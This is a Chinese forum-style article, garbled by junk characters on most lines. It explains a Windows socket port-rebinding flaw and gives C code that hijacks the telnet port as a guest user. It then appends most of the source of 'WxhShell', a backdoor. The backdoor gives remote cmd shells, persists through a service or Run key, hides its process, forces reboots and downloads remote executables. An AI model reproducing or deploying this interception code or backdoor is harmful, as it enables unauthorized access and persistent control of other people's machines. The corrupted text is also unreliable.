在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
fD~!t 8J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
K8UAz" YEQW:r_h.S saddr.sin_family = AF_INET;
&CL|q+- ZM vTDH! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6|KX8\,A@ TN
%"RL bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bg ,}J/ r9M={jC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Z M+Hb_6f tRy
D@} 这意味着什么?意味着可以进行如下的攻击:
ZmULy;{<) `Q&]dE= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&1p8#i bNROXiX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
,OKM\N, yo*iv+l 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/,Rca1W }K>HS\e 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~t:b<'/ Qsntf.fT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
P*PL6UQ 5|R2cc|"9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
q`aY.dD=O y@M}T{,/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
S(J\<)b RGO:p]t| #include
MA+-2pMc|7 #include
^-IsK#r.k #include
vs1Sh?O #include
s3-ktZ@ DWORD WINAPI ClientThread(LPVOID lpParam);
>fye^Tx int main()
}iSakq' {
|"yf@^kdC WORD wVersionRequested;
UNQRtR/ DWORD ret;
eh(Q^E;* WSADATA wsaData;
CjQ"o Qw BOOL val;
aEDN]O95? SOCKADDR_IN saddr;
grQnV' q SOCKADDR_IN scaddr;
"rGOw'!q> int err;
y<`?@(0$ SOCKET s;
q.MVF] SOCKET sc;
r.W,-%=bL int caddsize;
rh`.$/^ HANDLE mt;
Yg)V*%0n DWORD tid;
M%{?\)s wVersionRequested = MAKEWORD( 2, 2 );
h_~|O[5|) err = WSAStartup( wVersionRequested, &wsaData );
R*@[Pg* if ( err != 0 ) {
jBv$^L printf("error!WSAStartup failed!\n");
EB>B,# return -1;
]zyX@=mM }
bw<w
u}ED saddr.sin_family = AF_INET;
OF&h=1De, DvX3/z#T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Iv(Qa6( naIv= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Iz)hz9k saddr.sin_port = htons(23);
P/pjy if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
y5/6nvH_6 {
6!B^xm.R @ printf("error!socket failed!\n");
(kC} ,} return -1;
tQ~<i %; }
yvz?4m"_yB val = TRUE;
u5Ny=Xm //SO_REUSEADDR选项就是可以实现端口重绑定的
5w3 ZUmjO if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^$IZLM?E~ {
v
(ka,Dk3 printf("error!setsockopt failed!\n");
irsfJUr[V return -1;
_;:rkC fj }
+%wWSZ<# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
lKEX"KQ! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~pevU`}Uqc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^5]uBOv N\q)LM !M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
iS"8X#[]N {
XY{:tR_al ret=GetLastError();
VI24+h'J printf("error!bind failed!\n");
<'[Ku;m return -1;
S9p?* }
h `ME(U~<< listen(s,2);
OB6J.dF[% while(1)
G*\abL {
ZCQ<%f caddsize = sizeof(scaddr);
90s;/y( //接受连接请求
"#twY|wW sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Cqgk if(sc!=INVALID_SOCKET)
|rFR8srPG {
-2\ZzK0tM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/zG+] if(mt==NULL)
gcg>Gjp {
^Cg^`n?@b printf("Thread Creat Failed!\n");
e3eVvl5] break;
ejklpa ./ }
$(gGoL< }
uuSR%KK]| CloseHandle(mt);
1OJ*wI* }
O4EIE)c closesocket(s);
a*Ss -y WSACleanup();
RzS|dGNQE return 0;
2QGMe} }
*KK[(o}^J- DWORD WINAPI ClientThread(LPVOID lpParam)
/ Mod=/e {
5Lsm_"0 SOCKET ss = (SOCKET)lpParam;
lc[XFc SOCKET sc;
a}KK{Vqo` unsigned char buf[4096];
a@#Q:O)4 SOCKADDR_IN saddr;
]U,CKJF%/ long num;
fxDj+Q1p DWORD val;
8xF)_UV DWORD ret;
qL|
5-(P //如果是隐藏端口应用的话,可以在此处加一些判断
B6bOEPQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~uI**{ saddr.sin_family = AF_INET;
{'h_'Y`bOQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;1W6"3t-Y saddr.sin_port = htons(23);
$Z;B QJVH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zF5q=9 4$ {
\=!H 2M printf("error!socket failed!\n");
5`{vE4A]q return -1;
)O3jQ_q= }
QjA&IZEC
val = 100;
-Z%F mv8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u7;`4P:o@ {
99e*]')A% ret = GetLastError();
XFW5AP return -1;
4'SaEsA~ }
FY]pv6@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5YiZ-CQ> {
_Vjpw, ret = GetLastError();
GQN98Y+h return -1;
lhqQCV }
XRa(sXA3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pW\z\o/2 {
4\M8BRuE printf("error!socket connect failed!\n");
}[ ].\G\G closesocket(sc);
!?nu? closesocket(ss);
g96T*T return -1;
:peqr!I+K }
naz:A while(1)
^7u X$ {
P,i"&9 8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
G0}Dq MTi //如果是嗅探内容的话,可以再此处进行内容分析和记录
eC ~jgB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
U98_M)-%& num = recv(ss,buf,4096,0);
->\N_|_ if(num>0)
Ap%O~wA' send(sc,buf,num,0);
fk>l{W}e) else if(num==0)
Z>F@nTzb> break;
.o}%~g <d num = recv(sc,buf,4096,0);
%[wTz$S" if(num>0)
o{V#f_o send(ss,buf,num,0);
bM"fk& else if(num==0)
2MuO*.9D break;
ga-{!$b* }
tBseqS3< closesocket(ss);
a/~29gW8E\ closesocket(sc);
="\*h( return 0 ;
Gn59yG!4 }
CtM'L w
NH9WG gN?0m4[$i ==========================================================
lEHwZ<je /xySwSmh3 下边附上一个代码,,WXhSHELL
[Tb\woU 3 jF|Ic ==========================================================
-#aZF2z 'M8aW!~ #include "stdafx.h"
Wr5 Q5s)c hK(tPl$ #include <stdio.h>
vU!8`x) #include <string.h>
=EW3&+Lt #include <windows.h>
OV[`|<C ' #include <winsock2.h>
<F7V=Er #include <winsvc.h>
WfG(JJ #include <urlmon.h>
WmNYO,> t?{B_Bf #pragma comment (lib, "Ws2_32.lib")
'T7 x@a`b) #pragma comment (lib, "urlmon.lib")
e1unzpWN \ZSTKi? #define MAX_USER 100 // 最大客户端连接数
*|YU]b;W #define BUF_SOCK 200 // sock buffer
s qpGrW. #define KEY_BUFF 255 // 输入 buffer
)11W)G`w QR"bYQ #define REBOOT 0 // 重启
6NX3"i0eT #define SHUTDOWN 1 // 关机
_ h9o@ ',ZF5T5z@ #define DEF_PORT 5000 // 监听端口
2n|CD|V$ux DyfsTx #define REG_LEN 16 // 注册表键长度
o G_C?(7> #define SVC_LEN 80 // NT服务名长度
QU T"z' O*G1 QX // 从dll定义API
l~J*' m2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
IU#x[P! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5ZK&fKeCF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
d~@q%-`lA typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/r^[a,Q#x b9Y_!Qe // wxhshell配置信息
- $JO8'TP struct WSCFG {
>w.'KR0L int ws_port; // 监听端口
`T"rG}c char ws_passstr[REG_LEN]; // 口令
c@R; /m:R int ws_autoins; // 安装标记, 1=yes 0=no
\a)) char ws_regname[REG_LEN]; // 注册表键名
#`ls)-`7 char ws_svcname[REG_LEN]; // 服务名
_KN/@(+F char ws_svcdisp[SVC_LEN]; // 服务显示名
{.CMD9F[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Ei5 wel6! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
i#W*' int ws_downexe; // 下载执行标记, 1=yes 0=no
5HKW"=5Cf char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.Evy_o\^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
6~8F!b2 eLfvMPVo };
JA^v 7I}P*%(f // default Wxhshell configuration
#BY`h~&T struct WSCFG wscfg={DEF_PORT,
#@qN8J}R "xuhuanlingzhe",
OeElMRU" 1,
!aNh! "Wxhshell",
ONX8}Ob~ "Wxhshell",
+e P.s_t "WxhShell Service",
por/^=e{Y "Wrsky Windows CmdShell Service",
qX#MV>1 "Please Input Your Password: ",
9+qOP>m 1,
dqc1q:k?$ "
http://www.wrsky.com/wxhshell.exe",
3fr ^ T "Wxhshell.exe"
8SC%O\, };
" aq'R(/`c p&N#_dmlH // 消息定义模块
oyx^a9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
E m{aM char *msg_ws_prompt="\n\r? for help\n\r#>";
XOy2lJ/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
w%a8XnW]1 char *msg_ws_ext="\n\rExit.";
GABQUmtH char *msg_ws_end="\n\rQuit.";
PJLR<9 char *msg_ws_boot="\n\rReboot...";
]@
M5_%p char *msg_ws_poff="\n\rShutdown...";
Yr+23Ro char *msg_ws_down="\n\rSave to ";
7G93,dJ j9R6ta3\l char *msg_ws_err="\n\rErr!";
`tEo]p char *msg_ws_ok="\n\rOK!";
mdbp8,O +?m0Q;%b char ExeFile[MAX_PATH];
]lBGyUJn int nUser = 0;
g(hOg~S\E HANDLE handles[MAX_USER];
'#\1uXM1U? int OsIsNt;
h<6UC%'ac 2/7_;_#vJ% SERVICE_STATUS serviceStatus;
TgfrI
SERVICE_STATUS_HANDLE hServiceStatusHandle;
\Kavw ^G1%6\We // 函数声明
Yu3zM79'k int Install(void);
~i~%~doa int Uninstall(void);
@jy41eIo int DownloadFile(char *sURL, SOCKET wsh);
K#mOSY;} int Boot(int flag);
\7v)iG|#G& void HideProc(void);
QM<y`cZ8 int GetOsVer(void);
.Y*f2A.v int Wxhshell(SOCKET wsl);
},@^0UH4c void TalkWithClient(void *cs);
S*
R,FKg int CmdShell(SOCKET sock);
7 sFz?`- int StartFromService(void);
y$W|~ H int StartWxhshell(LPSTR lpCmdLine);
V@vU" 1X1 NtS@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
F<&!b2)ML VOID WINAPI NTServiceHandler( DWORD fdwControl );
uJU*")\V ,!#ccv+Vm% // 数据结构和表定义
S :bC[} SERVICE_TABLE_ENTRY DispatchTable[] =
aelO3'UN {
_5Bcwa/ {wscfg.ws_svcname, NTServiceMain},
&^".2)zU {NULL, NULL}
O;9?(:_ };
ExBUpDQc 8wZf]_ // 自我安装
PWr(*ZP>hI int Install(void)
=8{WZCW5 {
+A8j@d#: char svExeFile[MAX_PATH];
MGpt}|t- HKEY key;
;#/@+4@a& strcpy(svExeFile,ExeFile);
G$M9=@Ug 'lz"2@4{ // 如果是win9x系统,修改注册表设为自启动
kOL'|GgK if(!OsIsNt) {
RFaSwf,5n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Cby;?F6w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'jg3 RegCloseKey(key);
#Pk$L+C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YDJ4c;37 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
nIk$7rGLB RegCloseKey(key);
V$`Gwr]|n return 0;
U(>4s]O6 }
6IcNZ!j98 }
cre;P5^E }
J3RB]O_ else {
<O<LYN+( ;,h/
// 如果是NT以上系统,安装为系统服务
*/qtzt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4,Ic}CvM if (schSCManager!=0)
\nNXxTxX! {
dihjpI_ SC_HANDLE schService = CreateService
}yn0IWVa (
kRJ4-n^@>< schSCManager,
'9p@vi{\ wscfg.ws_svcname,
eV^d6T$ wscfg.ws_svcdisp,
"r4AY SERVICE_ALL_ACCESS,
N2r/ho}8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
uN*KHE+h SERVICE_AUTO_START,
;bzX%f?|G SERVICE_ERROR_NORMAL,
2F{hg% svExeFile,
gV;H6" NULL,
e}Vw!w NULL,
B!]2Se2G NULL,
!|hoYU>@2L NULL,
LkruL_E> NULL
&)wiKh"$ );
I=)hWC/ if (schService!=0)
2&mGT&HAVA {
6RO(]5wX CloseServiceHandle(schService);
C$h<Wt=< CloseServiceHandle(schSCManager);
yOU(2"8p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
2jJmE&)7, strcat(svExeFile,wscfg.ws_svcname);
s9;#!7ms if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
6 gL=u-2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Rk<@?(l!6x RegCloseKey(key);
E51dV:l return 0;
}_/Hdmmx }
q%n6K }
gN8hJG'0 CloseServiceHandle(schSCManager);
$,=6[T!z+e }
SvM6iZ] }
S_MyoXV z}QwP~Z return 1;
H(c72]@Vg }
lf{e[!ML' ~)LH='|h\} // 自我卸载
E907fX[R~ int Uninstall(void)
Ix@&$!'k {
>zsid: HKEY key;
/-_=nf}w x5`br.b if(!OsIsNt) {
|:[tNs*,O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+CH},@j RegDeleteValue(key,wscfg.ws_regname);
K;?,FlH RegCloseKey(key);
<~ad:[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6fH@wQ"wN RegDeleteValue(key,wscfg.ws_regname);
q\Q{sv_ RegCloseKey(key);
TNCgaTJ{h return 0;
d<!3`qe }
3`d}~v{ }
?_x
q- }
s^0/"j |7 else {
4'j
sDcs 8KB>6[H!wE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
sQ6}\ if (schSCManager!=0)
<~}7Mxn%x@ {
M#"524Nz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
4a0:2 kIKa if (schService!=0)
[${
QzO {
MObt,[^W if(DeleteService(schService)!=0) {
Nk=JBIsKv CloseServiceHandle(schService);
X'. qYsS CloseServiceHandle(schSCManager);
@2pu^k^ return 0;
C*U'~qRK }
n55Pv3}C CloseServiceHandle(schService);
v(*C%.M) }
9CA^B2u CloseServiceHandle(schSCManager);
f.aSKQD }
q{s(.Uq$& }
0q>P~]Ow D']ZlB'K return 1;
bwVPtu` }
3G.5724, :tIC~GG]_) // 从指定url下载文件
IDkWGh int DownloadFile(char *sURL, SOCKET wsh)
*n]7 {
\k;`}3uO HRESULT hr;
s]m o$ _na char seps[]= "/";
R>DaOH2K* char *token;
(8v7|Pe8 char *file;
w%WF-:u7| char myURL[MAX_PATH];
}X x(^Zh char myFILE[MAX_PATH];
A(?\>X
9g Z3>N<u8) strcpy(myURL,sURL);
a#mNE*Dg token=strtok(myURL,seps);
F'g Vzf while(token!=NULL)
I1[g&9, {
D:k3"
E"S file=token;
`D9]*c
!mO token=strtok(NULL,seps);
:4~g;2oag }
<;E `_b`kzJ GetCurrentDirectory(MAX_PATH,myFILE);
hN['7:bQ strcat(myFILE, "\\");
3qY K_M^[ strcat(myFILE, file);
5H=ko8fZ= send(wsh,myFILE,strlen(myFILE),0);
~/mwx8~ send(wsh,"...",3,0);
T+N|R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[M.f-x: if(hr==S_OK)
OB[o2G <0 return 0;
2H.654 else
jp $Z] return 1;
763+uFx^ &/Ro lIHF }
2X:4CC%5 t){"Tfc: // 系统电源模块
!61Pl/uQ int Boot(int flag)
!LkWzn3 {
|_omr&[_ HANDLE hToken;
D;UV&.$'v TOKEN_PRIVILEGES tkp;
S1D@vnZ3O\ 8q1wHZ if(OsIsNt) {
Wrr cx( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:4^\3~i1X LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
P2nft2/eu? tkp.PrivilegeCount = 1;
piU/& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c/_+o;Bc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
M$0u1~K if(flag==REBOOT) {
l>Ub!^; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<hwy*uBrD return 0;
DE2a5+^ }
F:6SPY
y else {
VUI|.76g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
tzy'G"P| return 0;
7}*6#KRG }
q>w)"Dd }
54rkC/B> else {
v)2M1 if(flag==REBOOT) {
K}=|.sE9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#2`D`>7456 return 0;
S(\9T1DVe }
-=.V
' else {
?<6CFH] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
l4TpH|k return 0;
'ejvH;V3i }
" R8KQj }
0flg=U9 Ela-,(Glk return 1;
M-i_#EWP }
&Q}*+Y]G rHP%0f9: // win9x进程隐藏模块
&-5_f*{ void HideProc(void)
_-5,zPR {
rp5(pV7*
BUwONF HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
RxMH!^ if ( hKernel != NULL )
o[H{(f1% {
:SxW.?[%u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;/j= Ny{9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[!%![E FreeLibrary(hKernel);
`bc;]@" }
Fq9Q+RNMZL zD3mX<sw return;
(%O@r!{ }
l3nrEk }8;[O
9 // 获取操作系统版本
V'w@rc\XN int GetOsVer(void)
2>*%q%81 {
3BpZX`l*p OSVERSIONINFO winfo;
D~o$GW% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
N41 R GetVersionEx(&winfo);
<L&m4O#| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.(Qx{r$ return 1;
,RN:^5 p else
"QvmqI> return 0;
QMEcQV> }
(|wz7AY2 R0oKbs{ // 客户端句柄模块
)]#aa uC+ int Wxhshell(SOCKET wsl)
f-nz{U {
C;(t/zh SOCKET wsh;
@,XSs struct sockaddr_in client;
UU8pz{/ DWORD myID;
sl*5Y#,|1 H~ u[3LQz while(nUser<MAX_USER)
5JhdVnT_ {
n<B<93f/ int nSize=sizeof(client);
!;_H$r0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
L4L2O7 if(wsh==INVALID_SOCKET) return 1;
h~wi6^{&Y 4~U'TE
@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.Yw'oYnS if(handles[nUser]==0)
,C {*s$ closesocket(wsh);
~zHg[X*
else
[=%TnT+^9 nUser++;
*%vwM7 }
DQwGUF'( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5Zw1y@k( k=GG>]<i return 0;
n[YEOkiG }
BnRN;bu 7RDDdF E! // 关闭 socket
nL:SG{7 void CloseIt(SOCKET wsh)
34!dYr% {
*-s,.
F+c closesocket(wsh);
Dup;e&9g nUser--;
fSDi-I ExitThread(0);
#.[AK_S5& }
5<L_|d)0" U:F/iXz // 客户端请求句柄
wM[~2C=vx void TalkWithClient(void *cs)
}3R13 {
,<DB&&EV8 n41@iK2l SOCKET wsh=(SOCKET)cs;
Xtq{% char pwd[SVC_LEN];
Q!,<@b) char cmd[KEY_BUFF];
S(aZ4{a@ char chr[1];
Z>)][pL int i,j;
fFjH "2WD K\XyZ while (nUser < MAX_USER) {
v+"rZ .}')f;jH5< if(wscfg.ws_passstr) {
V0nn4dVO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fri0XxF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)rLMIk //ZeroMemory(pwd,KEY_BUFF);
^[Cv26 i=0;
w#i[_ while(i<SVC_LEN) {
midsnG+jnf $N2SfyX7 // 设置超时
>ds%].$-\ fd_set FdRead;
[~D|peM3 struct timeval TimeOut;
NvjJb-u FD_ZERO(&FdRead);
&/.hx(#d FD_SET(wsh,&FdRead);
g/=K. TimeOut.tv_sec=8;
dMx4ykrR TimeOut.tv_usec=0;
>Q,zNs int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
bU 63X={ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
_B2V "p vFrt|JC_{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
yz+, gLY pwd
=chr[0]; 2S`?hxAL
if(chr[0]==0xd || chr[0]==0xa) { =G~~?>=@2
pwd=0; &p<(_|Af
break; W&:[r/8wA
} 3>z[PPw
i++; hM@\RPsY
} Uh.Zi3X6}6
!~<siy
// 如果是非法用户,关闭 socket iNCX:Y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B6Ej{q^k,
} 2}}?'PwwT
p<WFqLe(":
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (\puf+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YC_3n5F%
:<#`_K~'
while(1) { ZA#y)z8!E
P4
ul[zZ
ZeroMemory(cmd,KEY_BUFF); BdbJ< Is
0BkV/v1Uc
// 自动支持客户端 telnet标准 ]6tkEyuq
j=0; M/V(5IoP(
while(j<KEY_BUFF) { 2^exL h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k7_I$<YDj
cmd[j]=chr[0]; %R0v5=2'
if(chr[0]==0xa || chr[0]==0xd) { ;Hm'6TR!
cmd[j]=0; IN^9uL]B
break; 1H:ea7YVU
} d&:H&o)T!
j++; Wf02$c0#K
} )&W|QH=AI
Q 882B1H
// 下载文件 0/]_nd
if(strstr(cmd,"http://")) { ^[h2% c$
send(wsh,msg_ws_down,strlen(msg_ws_down),0); FN"rZWM
if(DownloadFile(cmd,wsh)) 'zSgCgCHX8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "2n;3ByR
else ){Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !"4w&bQ
} 4 9w=kzo
else { ?)A2Kw>2
z<C[nR$N
switch(cmd[0]) { ;?9A(q_Z
3\!F\tqD \
// 帮助 $"fo^?d/s
case '?': { +}!DP~y+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;R1B9-,
break; . A<sr
} j)D-BK&+
// 安装 N2~$rpU3
case 'i': { (:?&G9k
"
if(Install()) 5}<[[}(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [%.18FWI
else n! .2aq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9={N4}<
break; wkT;a&_
} 4]6 Qr
// 卸载 CM 9P"-
case 'r': { L~MpY{!3
if(Uninstall()) *caLN,G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d7~j^v)=^
else /_OOPt=G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {'IFWD. 5
break; N#Ag'i4HF
} ]V<"(?,K
// 显示 wxhshell 所在路径 :HZ;Po
case 'p': { hPPB45^
char svExeFile[MAX_PATH]; P0#`anUr1
strcpy(svExeFile,"\n\r"); p37|zX
strcat(svExeFile,ExeFile); XM!M%.0WS
send(wsh,svExeFile,strlen(svExeFile),0); "-U3=+
break; i`~~+6`J
} px
[~=$F
// 重启 4$i} Xk#3
case 'b': { $I(}r3r
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R92R}=G!
if(Boot(REBOOT)) {&`VGXG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E._hg+
(Hi
else { 6h@+?{F.
closesocket(wsh); j)Lo'&Y~=
ExitThread(0); a>(~ C'(<
} 86{ZFtv
break; ".M:`BoW4
} ! OfO:L7-
// 关机 <{ #<5 8
case 'd': { gUb
"3g0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +U=KXv
if(Boot(SHUTDOWN)) 2$DSBQEx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?1$\pq^
else { Re\o
v x9
closesocket(wsh); 9/Wn!Ld
ExitThread(0); 7yUvL8p-
} i]@c.QiFN
break; }
Ab_o#Zy
} %\l0-RA@<
// 获取shell X_!$Pk7ma
case 's': { ex:3ua$N
CmdShell(wsh); I2W{tl
closesocket(wsh); _[0I^o
ExitThread(0); e~*S4dKR
break; YiO3<}Uf
} 6<+8}`@B>G
// 退出 BMF3XcH~G
case 'x': { g.=!3e&z%
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y& m<lnB
CloseIt(wsh); E~qK&7+
break; :g/{(#E@Z
} . *Z#cq0
// 离开 6XZN>#
case 'q': { }:"R-s
send(wsh,msg_ws_end,strlen(msg_ws_end),0); o`25
closesocket(wsh); U<|B7t4M
WSACleanup(); KM E XT$p
exit(1); [!5l0{0
break; ]KzJ u`O%G
} n/Or~@pHD
} hg!x_Eq|
} ~LSy7$rz
!(}OBZ[*
// 提示信息 %jpH:-8'2
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i^~sn `o
} ;A`IYRzt
} D_zcOq9
tYF$#Nor#k
return; I<IC-k"Y
} &qG?[R{
% 1OC#&
// shell模块句柄 "Fo
int CmdShell(SOCKET sock) _3*: y/M_
{ oXvdR(Sb^
STARTUPINFO si; #vnefIcBf
ZeroMemory(&si,sizeof(si)); /abmjV0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Au~+Zz|mQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JvT%R`i
PROCESS_INFORMATION ProcessInfo; ^f!Zr
char cmdline[]="cmd"; NU BpIx&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D:+)uX}MOf
return 0; <.y;&a o
} 721{Ga4~S
F0X5dv
// 自身启动模式 h2im
sjf
int StartFromService(void) oNh68ON:c
